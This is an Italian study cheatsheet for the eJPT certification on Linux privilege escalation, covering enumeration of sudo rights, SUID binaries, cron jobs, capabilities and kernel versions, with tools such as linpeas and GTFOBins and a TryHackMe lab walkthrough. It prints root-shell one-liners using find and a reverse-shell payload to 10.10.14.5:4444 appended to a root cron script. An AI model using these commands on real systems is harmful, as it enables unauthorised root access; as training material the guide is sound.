← Tutti i cheatsheet

eJPT · Exploitation & Post-Ex

Privilege Escalation: Linux

Difficoltà: Intermediate Time to Master: 3h Prerequisiti: 02-Reverse-Bind-Shells.md Lab: INE PTS labs / TryHackMe, Kenobi


Obiettivo

Su Linux la strada verso root è quasi sempre più corta di quanto sembri da una shell www-data: un sudo -l mal configurato, un binario SUID non standard, un cron job scrivibile. Qui trovi l’ordine in cui enumerare questi vettori (sudo, SUID, cron, kernel) e — cosa che risparmia tempo vero in lab e all’esame — perché conviene guardarli in quest’ordine e non lanciare subito uno script automatico o un kernel exploit.


Concetti chiave

Aree da enumerare sempre

Area Comando/Check Cosa indica
Sudo rights sudo -l comandi eseguibili come root senza password o con password nota
Binari SUID find / -perm -4000 -type f 2>/dev/null binari eseguibili con privilegi del proprietario (spesso root)
Cron job cat /etc/crontab, ls -la /etc/cron.* job schedulati come root che puntano a file scrivibili
Kernel/OS version uname -a, cat /etc/os-release possibili kernel exploit noti per versioni datate
Capabilities getcap -r / 2>/dev/null binari con capability Linux elevate (es. cap_setuid)
Password/chiavi in chiaro grep -r "password" /etc /home 2>/dev/null, history file credenziali riusabili

Strumenti

Tool Comando base Output Note
linpeas.sh ./linpeas.sh report completo colorato script di enumerazione automatica più usato, va scaricato/caricato sul target
GTFOBins consultazione online lista binari sfruttabili per privesc/bypass in base a sudo/SUID fondamentale per capire COME sfruttare un binario trovato
pspy ./pspy64 monitoraggio processi in tempo reale senza root utile per vedere cron job che girano come root
linux-exploit-suggester ./les.sh kernel exploit candidati per la versione corrente usare con cautela, kernel exploit possono destabilizzare il sistema

Payload / Esempi

Esempio 1: check sudo

sudo -l

Output atteso:

User www-data may run the following commands on target:
    (root) NOPASSWD: /usr/bin/find

Spiegazione: se find (o qualsiasi altro binario in GTFOBins) e eseguibile come root senza password, si può ottenere una shell root direttamente, es. sudo find . -exec /bin/sh \; -quit.

Esempio 2: binari SUID

find / -perm -4000 -type f 2>/dev/null

Output atteso:

/usr/bin/passwd
/usr/bin/find

Spiegazione: ogni binario nella lista va confrontato con GTFOBins: se e presente nella sezione SUID di un binario non standard (es. find, vim, less), quasi certamente esiste una tecnica nota per ottenere una shell root.

Esempio 3: sfruttare find SUID (esempio GTFOBins)

find . -exec /bin/sh -p \; -quit

Output atteso:

# whoami
root

Spiegazione: find con bit SUID attivo esegue il comando passato a -exec con i privilegi del proprietario del file (root); -p preserva i privilegi nella shell spawnata invece di droparli.

Esempio 4: cron job scrivibile

cat /etc/crontab
ls -la /opt/backup.sh
echo 'bash -i >& /dev/tcp/10.10.14.5/4444 0>&1' >> /opt/backup.sh

Spiegazione: se uno script lanciato da cron come root è scrivibile dall’utente corrente, appendere un payload reverse shell è sufficiente: al successivo trigger del cron si ottiene una shell root.


Evasion / Bypass Techniques

  • Verificare sempre la versione del kernel PRIMA di lanciare un kernel exploit: exploit sbagliati possono causare kernel panic
  • Preferire vettori “puliti” (sudo/SUID/cron) a kernel exploit quando disponibili, sono più affidabili e meno rischiosi

Lab Hands-On

Lab 1: TryHackMe, Kenobi

Obiettivo: enumerazione servizi Linux (Samba, NFS, rsync), poi privilege escalation locale Difficulty: Facile-Media Time: 1.5h

Walkthrough breve:

  1. Ottieni accesso iniziale tramite uno dei servizi enumerati
  2. Esegui sudo -l e cerca binari SUID non standard
  3. Verifica su GTFOBins la tecnica per il binario trovato
  4. Ottieni shell root e verifica con id

Common Mistakes

  • Lanciare linpeas senza guardare prima sudo -l e i binari SUID -> si perde tempo su un report enorme quando il vettore era ovvio
  • Provare kernel exploit come prima opzione -> rischioso e spesso non necessario
  • Dimenticare -p con find/bash SUID -> la shell droppa i privilegi e sembra “non funzionare”


Connessioni


Checklist di padronanza

  • So eseguire ed interpretare sudo -l
  • So cercare binari SUID e verificarli su GTFOBins
  • So identificare un cron job vulnerabile
  • Capisco quando NON conviene tentare un kernel exploit